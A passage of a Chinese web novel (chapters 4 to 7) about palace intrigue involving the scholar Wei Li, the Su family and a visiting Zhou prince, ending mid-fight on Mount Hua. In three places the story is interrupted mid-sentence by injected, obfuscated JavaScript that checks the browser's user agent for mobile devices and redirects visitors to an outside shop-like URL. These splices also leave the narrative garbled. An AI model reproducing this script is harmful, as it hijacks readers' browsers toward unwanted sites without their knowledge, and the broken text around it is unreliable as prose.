“大姐姐她几个月前在山上遇上意外……”苏烟罗眼眶微红,声音绵柔,好像那温泉水流,淙淙清心,苏延已经对郁恒京怒目而向,他这个妹妹自小柔弱不自信,天天活在苏柳玉的阴影下,这个七皇子非得提起她做什么。 而苏烟罗手上的帕子几乎要被绞碎。 “怪不得,这么上不得台面的技艺都敢拿出来招待使臣。”郁恒京拽过身后女侍的帕子甩向苏延,“给你的好妹子换张帕子吧,一提到苏柳玉,手上的帕子都要绞碎了,生前羡慕嫉妒,死后也还是你的阴影?” 苏烟罗完美的梨花面终于出现了一丝裂痕,“哥哥……”她含泪看向苏延。 “七皇子慎言。”李焕抢先出声,“苏大小姐的箜篌本宫也许久没有听过了,当年在她皇祖母那练习时,确实是一绝,还引得许多少年入宫宴时偷偷在墙角蹲着,如今佳人已去,绕梁之声也滞留在回忆里了,但三小姐此曲也是极为不错的。” 虽然不如苏柳玉,但到底也是下了苦功夫的。 苏烟罗脸色非常难看,在场的少年一时间都停止了对郁恒京的窃窃指责。 “原来那时宫墙内的箜篌声是苏大小姐的啊,我一直以为是苏三小姐的。” “我先前去问苏延,苏延也是默认是苏三小姐啊。” “苏三小姐不是一直以太后的弟子自居吗?我从未听说苏大小姐会箜篌啊。” 魏离坐在席上手指轻叩着梨花木桌子,饶有兴致地看着一片乱象。 “烟罗未曾冒认太后弟子的身份,苏家也未曾对外传过这种消息,至于苏柳玉的箜篌是否真如太子殿下所说那般厉害我们也未曾听闻。”苏延将泫然欲泣的苏烟罗护在身后,“苏柳玉本就性格孤僻,与我们兄妹几个少有交流……” “妄议逝者可不是君子之行。”郁恒京嗤笑一声,“你们高门大户的腌臜事我一路上听的可不少。” “七殿下为何咄咄逼人?烟罗可是何时得罪了殿下?”苏烟罗水似的嗓音带着哭腔。 “装腔作势的贱人最是恶心。”郁恒京看着苏延和苏柳玉青一阵白一阵的脸色觉得有些乏味,转而看向一旁看戏的魏离,“先生可会箜篌?” 李焕也随着他一同看去。 “未曾接触。”魏离的眼中泛着一丝异色,“但未必不能一试。” 李焕一笑,命人准备好箜篌和谱曲,看着魏离一袭白衣面若冠玉坐在台上,倒是比苏烟罗更多几分仙气。 “倒是有些容易了。”魏离一笑,铮开弦丝,与苏烟罗弹的同一首曲子——《济水》。 流水盈科不数尺,岸柳难通舟渡,列渎宗诸侯,异乎众,至清远外浊,有本其何修,未到海,千里不休,万古同悠悠。(改取自白居易《济水》) “不愧是能写出《顾此》的魏解元,”庭外数十个婢女拥簇着一位鹤发妇人,头戴点翠凤钗,额间一点红痣,慈眉善目,含笑看着刚停下手中动作的魏离。 “见过太后娘娘,娘娘千岁。”众人急忙行礼,预备发作的郁恒京也只好作罢。 “哀家听闻今日苏家的姑娘要演奏先前玉儿作的《济水》,便想来听听,若是合适便也看在玉儿的面上指点两分,没想到能遇上如此奇才,可惜了先生是男儿身,天生要在朝堂上建立一番功业的。”太后眼中哀思不断,“玉儿一走,我连个和琴的人都没有了。” “若是太后不嫌弃可以让苏三小姐进宫作陪,三小姐的箜篌技艺大抵是不逊于在下的。”魏离拱手,看向眼泛泪光我见犹怜的苏烟罗。 “凤凰高飞,羽遗翠鸟。不过是装点着凤凰毛的山鸡罢了。一副上不得台面的外室做派。”如果说魏离的《济水》只是让苏烟罗颜面尽失,那太后这一番话就是将她彻底打入谷底。 但这话是太后说的,她和苏延乃至苏家都不可能说出一字反驳。 “好一个大宁最有名的才女,最拿手的箜篌居然比不上刚碰弦丝的解元。”郁恒京坐会位置上,“回去怕不是要将整个苏府的帕子都绞烂了。” “女孩子家家都是有个名头好婚嫁罢了,做不得数的。”李焕的脸上差点挂不住笑脸,“但男子的名头可是做不得伪的,不愧是魏先生,第一次弾箜篌居然能得到皇祖母的夸赞。”还好有个魏离在。 “不归的生母是位歌女,许是有几分天赋留在身上,碰巧罢了。”魏离将箜篌和曲谱摆好,回了坐席,但苏烟罗已经没办法再轻飘飘地坐在这里了,她攥紧衣角恨恨带着婢女退出宴会场地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588159|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏离落座时正对上她通红的眼睛,他回之一笑,转而看向郁恒京,“七殿下也到了成亲的年纪了,可有什么心仪的姑娘?” “魏先生若生做女儿身,我是无论如何也要聘回周朝的,可惜了,如今是没有心仪的姑娘,若是在大宁得遇佳人,就算没能带走先生那也是不虚此行。” “苏三小姐是小女儿心性了些,但论美貌论才学也不是平庸之辈,做不得正妃侍妾也还是当得的。” 李焕让人撤走箜篌后坐在稍远些的左席上听不清他们的对话,仔细盯着魏离的神色,心下明白,他一经太后的面得了青眼必然不可能被送去换那十六城,但他连太后会来这件事都清楚吗? “侍妾也是抬举了她。”郁恒京冷哼一声,“我那腿伤的哥哥倒是需要个照顾起居的。” 魏离笑而不语。 琴诗雅会自然是少不得各家小姐一展才华,只不过经苏烟罗一事大家都收敛了许多,名声可以不出众,但万不能为了出这一时风头影响到以后婚嫁,各家各族都还指着这几位精心培养的小姐给娘家多添一份气力。 “这一场雅会下来,倒是魏先生琴棋书画样样精通。”清阳托着下巴叹了口气,“先生这样优秀,我能比得上他的也就这公主的身份了。” 一旁的李瀛沉默不语,看向首座的太后娘娘,今日太后的到来也在他的预料之中吗?郁恒京的盘算怕是要完全落空了。 太后娘娘年岁虽大,但保养的极好,看起来倒是与文帝似兄妹,她正偏头与文帝说着什么,倒是比得到苏柳玉死讯时看着精神了不少。 魏离依旧带着笑意应付郁恒京,“殿下的使命怕是真的完不成了。” “如若不成,我周朝也愿意再夺十六郡,三十二郡与先生,难道大宁不会取舍吗?纵使有人千般不愿先生离开,可与民愿相比,难道文帝愿意重蹈前朝覆辙?”郁恒京仔细地观察着眼前的魏离,试图从他无暇的面上找到一丝其他情绪。 “前朝亡于民愤,但大宁不一样,大宁皇室是众望所归,殿下已经试过了吧,在百姓之间散播流言已经很难了。”魏离眼底第一次露出笑意,“殿下难道忘了,这是苏大小姐的功劳。” 苏烟罗的批词就是由苏柳玉亲手散播出去的,与此同时她让太后统立了暗处控制民间流言的专门机构,就是为了避免重蹈覆辙。 “何况,殿下真的觉得我没有趁此夺回云城十六郡的能力?”魏离垂眸将杯中酒一饮而尽,“这世间向来没有女子安稳立足之地,请代不归转告平宁公主,这世间之事纵有千般不愿万般不舍,在生死二字之下便只剩‘舍’与‘夺’。” “先生好酒量,”郁恒京的身形突然放松下来,“那我就等待与先生兵戈相向的那天了,但在那之前,先生想要忙的事情还有许多吧?” 魏离酒气上头,面上浮现一丝红意,眼波流转,“殿下要忙的事情可比在下多得多。”说完转头让身边的侍女向太子告罪,不胜酒力先行离席。 郁恒京紧紧盯着那个离去的背影,一如当年雨中被淋湿的背脊。 ? 5. 第 5 章 郁恒京自诗会之后再没来打扰过魏离,倒是听说苏家三小姐得了他的青眼,要带回周朝去给他的皇兄做侍妾,那三小姐也是本事了得,当天晚上就上了太子的榻,第二天太子就上书给她求侧妃的名分,宠眷一时,把太子妃冯氏气的卧床不起。 “皇祖母也大发雷霆,罚了太子哥哥禁足,父皇都不敢去求情。”清阳正捧着刚摘下来的木槿,仔细装入浅青色琉璃瓶中。 “诗会之上太后娘娘刚评说完苏三小姐上不得台面,太子殿下转头将她纳入府中,还是在陛下准备将苏三小姐作礼给周朝的节骨眼上,太后娘娘只罚禁足已经是轻的了,毕竟殿下还有好几个适龄的兄弟等着抓他的错处,这太子之位也不是稳如泰山的。”魏离仔细地接过她手中的琉璃瓶,摆在檐下小案的正中间,素白色的花朵儿还带着几滴露水,“殿下的眼光真好,这花儿俏生生的看着能开好几天。” “我觉着太子哥哥这次做得过了,冯尚书本不想嫁女入东宫的,是我去与冯姐姐说情,又求了父皇才讨来的诏书,她才嫁来三个月,闹出这样的事情,换做是我,我也是要闹的。”清阳叹了一口气,“哥哥他真是……昏了头了。” “也是苏三小姐手段了得,照此看来,苏大小姐的死未必简单。”魏离擦干书案,“殿下不必为太子殿下忧心,自有人助他,在下先给殿下讲明白庄子先贤的‘游’字。” —————— 李焕这头倒还算是平静,毕竟稳坐太子之位这么多年,他还不至于看不清苏烟罗的小心思,顺水推舟地纳了她虽然有一丝色迷心窍的缘故在,但到底不会真的为一个女人毁了自己。 这可是苏府最受宠的女儿,在苏柳玉死后,她就是苏府唯一的嫡女,冯家那头固然不好交代,但也不是没有解决的办法,况且冯大小姐已经入了东宫,反悔必然是不可能的。 眼下唯一的问题是如何向郁恒京交代,只要解决了这个问题,这一步走的收获可不仅仅是一个美人那么简单。 另一头苏尚书更是人精,一细品就明白了其中道理,当下最好的解决办法就是将郁恒京本要的魏离送上,虽然他不满魏离这个不知从哪里冒出来截了胡的书生,但魏离先他一步靠上了东宫这条大船,何况以目前形势来看,推他出去是不太可能了,且不说太后会不会阻止,光那三皇子就不是什么善茬。 “老爷,太子殿下现在被陛下禁足,殿下他会不会迁怒烟儿?烟儿她在东宫孤立无援的,也不知现在过的是什么日子……”苏姚氏心中想起自己如珠似宝的女儿如今困在东宫,连一丝消息也传不出来,鼻尖一酸竟是真的落下泪来。 “太子殿下不会因此怪罪烟儿的。”苏姚氏看不清苏烟罗,他苏桓看的可清楚,可惜了这下苏家只能被拉上太子的船了,若要说他不生气那肯定是假的,他苦心经营多年,本就不愿意掺和夺嫡一事,花费好大心血栽培这个女儿也是为了新帝纳妃,谁承想如今光景,他可是恨透了魏离,前有抢他苏家儿子解元,后又害的他苏家女儿不得已入东宫。 偏偏到这一步苏家已经被打成了太子党,魏离如今是太子眼前的红人,说不准他还得去巴结人家。 得先想办法把太子放出来,苏桓忍下这口气,让心腹去找个扬州瘦马来,转头看到苏姚氏的泪水,心中的怒气消了不少。 这苏姚氏是他母家表妹,从小跟他一起长大,如今十多年了依旧如当年少女一般心思纯粹,心里只有那后院大小的天空。他揽过她的肩膀,“没事的没事的,烟儿是有福气的,去了太子那总比被那个七皇子带走的好。” “我的烟儿怎么这么命苦啊……”得苏桓的安慰苏姚氏一时控制不住情绪,扑在他怀里,“先前苏柳玉在时她就处处受阻,那天被太后娘娘斥责就,如今还要爬上太子的床做一个妾室……老爷可一定要帮帮烟儿,我们只有烟儿一个女儿呀……” “我会想办法的。”苏桓安抚地拍拍她的背,毕竟三个女儿也就这一个是有脑子的,既然已经注定要上太子这艘船,那就尽力做到最高,魏离似敌似友不能放任他一人得太子的心,如果苏柳玉在就好办的多了…… —————— “苏桓这个狗东西肯定在想苏柳玉在就好办得多了吧。”郁恒京冲魏离挑了挑眉。 水榭回廊下,魏离正摆弄着眼前的瓷壶,蓝瓷壶面上用珍珠缀出了七星显得有些滑稽,“念起苏柳玉是肯定的,但他绝不会没有办法解决眼前的局面。到底还只是小场面,七殿下这一步走的可是臭棋。殿下您还是好好培养您的审美吧,权谋一事,您不在行。” “你!”郁恒京快步走上前去,劈手夺过瓷壶,“觉得丑就别拿!” “无所谓,对于现在的我来说,那不过是一个普通瓷壶。”魏离起身掸掸衣服,“殿下特地唤我来,就是为了让我欣赏这只瓷壶吗?” “你要如何扳倒苏家,苏家本就业大,如今苏烟罗又靠上了太子,苏家的地位更加稳固,你拿什么拼?” “太子一定稳固吗?”魏离轻笑,“大宁……又一定稳固吗?” 郁恒京怔怔地看着他,隐约和火光中少女最后的笑容重叠,正欲开口,又听他道,“这天下又一定稳固吗?” “殿下又一定能一直如此气定神闲地看别家笑话吗?”魏离的眼眸在光线下泛着细密的金丝,“您也是笑话的主角啊……”他收起笑容,“如果殿下没有其他事情,魏离先告辞了。” 郁恒京将手中的瓷壶收入袖中,收起脸上的表情,恹恹地看着他离去的背影,“真没意思。” 静候在水榭外的侍女,眼见魏离走远了,才呈上一封书信。 “家里来的就不必看了。”他摆摆手取出袖中的瓷壶,“季大小姐,这个壶真的很丑吗?” 侍女慢条斯理地将手中的信封撕碎,“丑不丑你自己不知道吗?我若是魏先生,说的恐怕会更难听些。” “好姐姐,你与我相识相知这么多年,就不能说两句好听的哄哄我?” “得了吧,我看你男装的样子就反胃,装表妹骗我这么多年,我没撕了你都算开恩了。”季昀睨他一眼,“我平生最恨男子,若不是你答应我带我来找表妹,我早把你丢到军营里头让你尝尝血的味道。” 郁恒京将瓷壶放下,“现在哪里还有什么表妹,苏柳玉已经死了。” “你骗我?”季昀蹙起眉头,“你是不是在找死,你和郁恒星如果不是因为我家惦念着表妹的下落,早就冻死在深宫之中了,如今告诉我表妹死了,你是要下去给她陪葬吗?” “在来之前我也不知道她已经死在苏家了。”郁恒京笑着看她,“要怪也是怪苏家,和我有什么关系。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588160|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你知道。”季昀攥住他持着瓷壶的手,瓷壶落在地上四分五裂,“你是看着她死的对不对?你为什么不救她?” “你在说什么胡话,我的亲妹妹啊,我怎么会袖手旁观。”郁恒京挣不开她的手,无奈地摇摇头,“一定要她吗?我和郁恒星不行吗?” “这就是我讨厌男人的原因之一,自以为是。”她松开他的手,转身离开,“别破坏魏先生的计划,周朝这么多皇子,死一个,那个老皇帝也不会对季家有意见的。” 郁恒京揉了揉手腕上的红痕,蹲下来捡起地上的瓷片,殷红的血色在指尖绽开。 ————- 过了几天平静日子,魏离看着天气不错,出了趟门,天气明媚,人总是想吃些甜的,他提着糕点还未走近家门,就看见轿撵停在门边,少年少女正在门口,清浅的柔和阳光正落在他们身上,轻轻地镀上一层金纱。 “先生。”李瀛远远就看见魏离的身影,浅绿色的长衫,身姿挺拔像棵玉竹。 “见过三殿下、公主殿下。”魏离行了个礼,推开木门,让在外面等候许久的二人先进去,转身去烧水沏茶。 “太子哥哥也真是的,怎么也不派两个侍从替先生打理家事。”清阳熟门熟路地翻出她平日里常坐的软垫,“这小院虽然舒适,但是只有先生一人也还是太冷清了。” “我倒是觉得先生挺喜欢一个人的。”李瀛瞥见走廊的小茶几上还放着翻开的《三国》,书旁的茶杯中的茶水还未换新,那七皇子就当真这么着急,不容得先生收拾一下书物? “总要成家的。”魏离端着茶水从他们身后走来,“不久就是会试了,三殿下也还要参与吗?” “试试吧,上次落后于先生,我本来还颇有不服,但等到看了先生的答卷,就变成自愧弗如了。”李瀛接过他手中的茶水,“上次苏家长子本来是拿了考题好好准备,打算名动京城的,被先生截胡……再加上苏烟罗的事情,这次会试,恐怕不会善罢甘休。” “殿下多虑了,苏尚书心胸宽广,哪里会因为这点事情怪罪于我,更何况,苏小姐不也是已经在准备封侧妃的典仪了吗?”魏离为他们倒好茶水,“不是什么大事。” 现下他和苏家在一条船上,谁先露出蛇尾谁先落水,苏桓可不是什么蠢人。 “先别谈那么严肃的事情,过两天父皇要派人带那个七皇子去登高游玩,听母后说他执意要去华山,那么高那么险,他指名要我跟三哥陪他,我根本上不去嘛。”清阳捧起魏离专门为她配的花茶,小口小口地抿着。 “殿下可以留在山下,七皇子应该也是会体谅您的,不归听说华山下有个行宫,应该也是个好去处。”魏离拆开刚买的桃花酥外面的油纸,“听说这次陛下是打算从世家子弟里再挑几个同行,女眷应该都可以在山下等着。” “先生买的是哪家桃花酥,吃起来比宫里御厨做的味道还好上两分。”李瀛此时已经没心思去听他们俩在想什么了,他的眼里只有这一份桃花酥。 “街上闲逛的时候看到的,恰巧今日想吃就上街去买了,没想到味道还不错。”魏离又给他添了一杯茶水,“就在当日投壶的隔壁。” 意料之中的答案,李瀛继续沉默着听他们二人的谈话,思绪偷偷地游远,如果她在的话,跟魏先生一定能成为很好的朋友。 6. 第 6 章 如预料中的一样,魏离很快就在自家的小院子里见到被关了几天的太子殿下。 “听清阳说先生喜欢吃桃花酥,本宫给你带了些来,本宫府上的私厨做的,也不知比起先生在市井买的如何。”李焕笑着递给他一包桃花酥。 “殿下府中的自然要好吃些。”魏离知道他要说什么,接过桃花酥,递给他一杯茶,“殿下府中皆非凡物,市井之物到底是比不过的。” “也是。”不甚受宠的李瀛又怎么比得上他这个太子? 李焕得到了满意的答案,抿了一口茶,“清阳说先生早就料到苏尚书会想办法替本宫解决这件事?”这茶果然还是他禁足前送来的黄山毛峰。 “事情因苏家女起,自然也是由苏家女解决。”魏离抿唇一笑,“苏家最用心培养的女儿跟殿下绑在一起,苏家也就跟殿下绑在一起了,苏尚书不尽力,难道还狠得下心跟苏小姐断绝关系吗?六位尚书已经有三位站在殿下身边,殿下的心可以稍微放一放了。” “还是先生料事如神。”李焕盯着走廊边不停叫唤的雀儿,连苏烟罗会自奔为妾都算准了,若是…… 魏离顺着他的目光看去,聪慧如他又这么会不知道李焕在想什么,他打开铜丝编成的笼子,小雀儿惊得四处乱撞在笼子里撞得四仰八叉,终于探到了敞开的门,钻出笼子一下子飞上高空,“整日在廊下叽叽喳喳,也是有些恼人,到底是雀儿,比不得雄鹰。” “也是。”李焕不再看那重获自由的鸟儿,转而看向魏离,“快要入冬了,金国又开始频繁骚扰边境,边境的军队大多疲于应对,父皇打算派个有身份的人去军营中安定军心,先生有没有办法,让本宫那个好三弟去?” 这是准备要李瀛的命了,魏离取下笼子与他对视,“三日之内,三殿下会自请去边塞历练。本身三殿下就不得圣眷,文不成能走的只有武一道,他在官场上疏于经营,赴边对他来说是最快的方式,虽然危险,但想要尽快为苏柳玉报仇,这是唯一的办法。” 大宁盛文轻武,李焕也是因为当时参与了层层科举选拔,成绩远超于几个兄弟,才能在太子之位上稳稳立住。 “能这样最好,但想要得到圣眷和权力可不止这一个方法。”李焕还是觉得不够保险,“难道他的母家被抄前就真的没有一丝夺嫡的想法,没有为他留下任何后手?” “正因为三殿下的母家有可能给三殿下留下后手,他才更应该自请去边塞历练,您忘记了,三皇子的母家柳家驻守的就是如今的金国边疆,还在闲时带兵修缮了长城。”魏离的眼中闪烁着即将西沉的太阳光,“他不去,就更没机会。如果殿下还是不放心,那就将侧妃是杀害苏柳玉的凶手的真相散播出去吧,三殿下会为了和您拥有一样的权力而放下京城的一切的。” 反正苏烟罗的名声早就烂掉了。 —————— 李瀛离开的那天魏离也一早就被清阳公主拉着去送行了。 因为明面上是代文帝去边塞慰问,稳定民心军心,又有文帝亲自送行让整个朝堂有头有脸的达官贵人、世子公爵都加入了送行队伍,所以整个送行队伍十分壮大,百姓们为了看看平日里见不到的达官贵人,围满了道路两旁。 魏离不在其中。 他借着人流和清阳公主“走散”了,他登上城墙的那一刻,正好是李瀛拜别文帝和诸位大臣的时候,他看见李瀛的身上披满了晨光,马上青年健硕的身体像一尊雕塑。摔下来就会碎掉吧,他想着。 李瀛试图在李焕和清阳身后的仆从中找出魏离的影子,感叹着魏离看着温润如玉,竟然也是个冷血无情的人,虽然他们两人只是因为暂时的共同目的达成的协议,但来送送这一时的同盟也是应该的吧…… 没想到他拜别文帝和皇后后一抬头,正看见城墙之上白色的影子,正是魏离。 魏离还是如同往常一样,一张凌厉的脸庞却给人如沐春风的温润之感。他不敢多看,回过神来策马离开。 城墙之上的魏离在他转身之后脸色倏地冷厉下来,“七殿下真是好雅兴,散步能散到城墙上来。” “演都不愿意演一下吗,魏先生。”郁恒京停住脚步,收起装文雅的折扇,“果然没有别人在旁边,就能看见先生不同寻常的一面呢。”这次他特地连季昀都没带。 “我不是什么喜欢犯贱的人,离我远一点,郁颂橘的事情我自己会解决,”魏离后退几步与他拉开距离,“郁恒京,要斗回周朝去斗,我不会参与你们的争斗,再纠缠下去,我会让你什么都捞不着。” “啧,真该让那位小公主看看你现在的样子。”郁恒京没有再靠近他,“我们兄弟几个包括父皇都一样恶心,所以你谁都不要帮。只要你谁都不帮,我就尽量不打乱你的计划。” “尽量?”魏离被恶心到了,他说的对,他们都一样恶心,“你不能保证,那我也不能保证。滚吧。” “如果你跟我回去……” “不可能。”魏离不愿意再和他多说,转身下城楼,正遇上竹编匠人叫卖,顺手买了两朵莲花,付完钱正好清阳公主出现在他身边。 “终于找到先生了。”清阳走的有些急,发髻微乱。 魏离将手中的竹编花递给她,“人有些多,不归被人流拦住了,殿下也小心些。” “谢……谢谢先生。”清阳接过那两支竹编花,芙蓉面上染上了还未褪去的嫣红晨光,“先生上次买的桃花酥很好吃,可以陪我去买些,我想带回去给母后也尝尝。” “殿下先登车吧,不归会给车夫指路的,那家糕点铺子离这里还是有段距离的,刚送完三皇子,殿下别受累了。”魏离笑着替她将停在城墙脚下车的帷裳拉开。 清阳欲言又止,她就是想跟魏离散步……但是一看已经升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588161|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来的太阳和道路上熙熙攘攘的百姓,也就歇了这个心思,想邀请魏离一起登车,又怕他觉得自己轻浮……索性直接进了车。 “先生也登车吧。”她撩开帷幔,有些失落。 “谢殿下安排的车驾。”魏离上了来时的那辆马车,也是清阳公主安排的。 那家糕点铺确实有点远,它开在玄山和悬山之间的集市中,集市很是偏僻,基本上只有悬山寺的道童和玄山寺的僧人才会去那采购粮面。但集市边上的景色四时变换,无论怎么变换都很美,极少数时候也会有世家公子小姐相约集会。 “林间落叶好美。”清阳如愿以偿和魏离提着糕点漫步在集市边上的桃林,脚下是沙沙作响的碎叶。 “不归在读书时时常来这,等到来年春天就是桃花满枝、花瓣烂漫。”魏离一步一步踏在枯叶上,回忆起了那一夜的泥土气息。 “我在京中这么多年,还从未来过这里,以往都是只跟着三哥上悬山寺玩。”清阳闭上眼睛,感受到了山间的清新气味,“等三哥回来,我要带他也来这里。” —————— 魏离没有跟清阳公主多待,桃林中泥土腐朽的味道让他不断回想起那个夜晚、那个清晨,他没办法平静下来。 正巧,清阳公主之前说的那份“不简单”的差事来了。 郁恒京还是没打算回周朝。文帝钦点他去好好招待郁恒京,无论是登高还是泛舟,是俗是雅都要好好伺候,甚至要求他搬到使者驿站全程陪同。 魏离的心情没有太大的波澜,他早料到郁恒京会给他找麻烦,无非是大点小点的区别。 郁恒京身边的侍女很快就到了,她带了两三个仆从,“七殿下命我来帮先生搬东西。” “你叫什么名字?”魏离将收拾出来的书册堆到一起,转头看向她。 “季昀。”她半低着头,一双杏眼闪着光芒,皮肤白皙,精致的五官不比苏烟罗差。 “季在周朝可是大姓。”魏离继续收拾要带走的东西,低头正看见她手上缠绕的纱布。 季姓在周朝,代表的是最大的武将世家。季家历代无论男女皆骁勇善战,周朝重武并且善战,周朝的大半江山都是季家从别的国家手里以血肉为代价抢来的,所以也有“周朝江山,季家血肉”的说法。 “我是季家外室的女儿,也算不得正经小姐,能跟着七皇子已经是莫大的荣幸了。”季昀指挥着仆从开始搬魏离收拾好的东西。 魏离没有继续跟她交谈,让她有点泄气,难道他不吃这一套?季昀现在的身份是受尽欺负的貌美温软的外室女儿,按理来说男人应该都很吃这一套,他们这些大男子不都喜欢温柔可欺,柔弱不能自理的女人吗?不然那个苏烟罗怎么能那么轻松爬上大宁太子的床? 是她长得还不够漂亮?季昀第一次对自己的外貌产生了质疑。 ? 7. 第 7 章 华山脚下最显眼的就是白色的岩石群,柔软的晨光细密地盖在上面,清晨的露水在泛绿的叶片上闪烁,跟清阳公主鬓角贴的琉璃石一般耀眼。 “殿下就在山脚下休息吧。”魏离给清阳递上一方小帕,大宁也就这一位公主,文帝也不会因此不快的。 “先生……虽然有扈从陪伴,但还是多加小心……”清阳也知道会试将近,苏家早晚会动手的,苏延这一次拿到会元名头最大的阻碍就是魏离,而此次华山之行就是最方便下手的时候。 “不归知道了。”魏离笑着应下,转而看向贵公子拥簇之间的苏延,少年人的骄傲和张扬在他身上表现得淋漓尽致。苏延骄傲也是应该的,毕竟是京城内盛传的神童,还拥有创造“神童”名号的家族,在这个流言都受皇家掌控的世道里,苏家也是不可小觑。 苏延并没有注意到他的目光,一身月白色劲装将身形很好地展示出来,宽肩窄腰,倒是引得世家小姐春心萌动。 “怎么,突然觉得苏家也不是那么讨厌?”郁恒京在清阳公主走后主动凑上前,“苏延的文采也不错,只是略逊于你,如果没有你这半路杀出的程咬金,他必然是当今大宁最具盛名的才子。” “不归何时讨厌过苏家?”魏离分出几分注意力应付他,“苏家一家尽是良才,苏大人身为户部尚书尽忠职守,苏三小姐貌若天仙才艺双绝,苏公子的文章不归也没少看,高瞻远瞩,大宁有这样一家人,是福气。” “这么说来,苏家准备杀你第二次,也是你的福气。”郁恒京含笑甩开手中的折扇,“这福气临头,魏先生可不要推辞。” 魏离依旧笑对于他,“不劳殿下挂心。既然各位都是专程来陪七殿下游览华山风景,那就请殿下先行。” 郁恒京也不再多说,正好对面聚作一团的少爷公子们也聊够了,他第一个踏上了登山的路,魏离则跟在他身后。 也不知道魏离用的什么熏香,软软的又带着一丝凛冽,顺着山风直往他鼻子里钻,倒是跟周朝祠堂里的香有点类似。郁恒京一边想着一边向上走着。 巧的是太阳正跟着他们一起走,秋季的太阳还遗留着几分余韵,热意遇上山间的清凉水雾就变成了一片迷蒙的烟气,冰凉凉的,让人如临仙境。 “云雾水汽缭绕,仙境一般,果然华山的景色百看难厌。”苏延第一个感叹出声,他自小就常来华山,最喜欢带着妹妹们来山上看烟云,偶尔也会在这里撞上苏柳玉,就算是他也不得不承认苏柳玉身上那股出尘的仙子气。 “这可是五岳之一!”冯远应道,“可惜怀玉今天身体不适,否则她肯定也很喜欢这里的景色!” “怀远兄可以日后再带怀玉妹妹来。”兵部尚书汪家来的是小儿子汪水铎字容泽,汪家没有女儿,他的两位大哥也早就在沙场征战。尽管他一点也不情愿来和一堆酸腐文人爬这劳什子华山,但怕又惹父亲不高兴,也只得按着性子陪这一堆少爷和那个什么七殿下。所幸冯远也在,他倒也不至于因为和各位少爷不相熟而尴尬。 “这绝处峭壁,倒真的跟传闻的一样,鬼斧神工。”郁恒京看向一旁默不作声的魏离,“如此美景,诸位少爷不想吟诗作文吗?” 魏离的注意力本不在郁恒京身上,也早就知道郁恒京会来这一下,凭他的本事也就只能折腾这点水花,他注意的,多出来的那几个小厮。 前呼后拥一大堆人伺候不成样子,文帝就规定了这次登山集会每人至多只能带一名小厮。自走过那片杨树之后,人群中就多了几个小厮打扮的人,虽然也有的公子私下偷偷多带了两个帮忙搬写糕饼茶水的人,但他在出发之后点了好几遍人数,绝无可能出错。 “日隐雾气内,云起崇山中。云上见金殿,峰下锁瑶池。”苏延第一个出声,但是这次他没有挑衅魏离,因为这几句诗是模仿他乡试上的文章得来的,其实他一直都明白自己的神童之名是靠努力和钱财堆砌出来的,读过魏离的试卷后他也明白两人之间的差距。 但是人总会有不甘心的吧,这么多年的努力被一个不知道从哪里冒出来的人给打碎了。 “好!”宁国公世子李纯第一个捧场。 陆陆续续有几个公子也跟着吟诗,到底都差了点意思,郁恒京一收扇子,一双凤眼映着路边的水洼反光,“不过如此。魏先生可有诗篇写就?” 魏离不再管身后多出来的人,笑着随意吟诗两句,又道,“不归写下的有关华山的三十篇诗早有书斋收录成册,殿下要是喜欢,可以买上几册带回去收藏。” 一群人有说有笑继续上山,很快便顺着陡峭的山路上了华山北峰,峰顶很高,可以看见群山青翠,下边的擦耳崖和天梯紧联在一起,再往前就是一条山岭,莽莽苍苍,如苍龙欲飞,也被称为苍龙岭。 山尖的云雾还未消散,当真像在仙境之中,手边的槲树葱葱郁郁,全然不似山下带些落叶的植物。 该动手了吧,魏离特意落后于众人,苏延冯远等人已经走上擦耳崖,擦耳崖是华山著名的险道,傍着鬼斧神工的悬崖峭壁,近临不见底的万丈深壑,路面非常狭窄,只能容得下一只脚,有“受手者不没指,受足者不尽踵”的说法。 擦耳崖上危险,但舒展不开,如今他独自一人落后于众人在山顶上赏槲树才是最适合动手动的时候,毕竟谁知道什么时候他就回到队伍前面去了呢? 熟悉的破空之声从魏离身后传来,魏离转身避开凶悍的刀风,在此刻他等待已久的危机气息陡然弥漫而开,他没有如对方所预料的仓促惶恐,反而从地上抄起一根树枝,尖锐的破风声,响彻山间。 已经踏上擦耳崖的众人也停住脚步,进也不是退也不是,汪水铎急切地想上前帮忙,但是整个擦耳崖根本没有后退的路让给他。 魏离懒得分神去关注混乱的人群,只要各位少爷不乱动就不会出事。 他手持树枝,与三名小厮打扮的男人打的难舍难分,正午的阳光已经笼罩在山顶,云雾散去,一一片灿烂阳光落在槲树顶上,星星点点光斑落在他 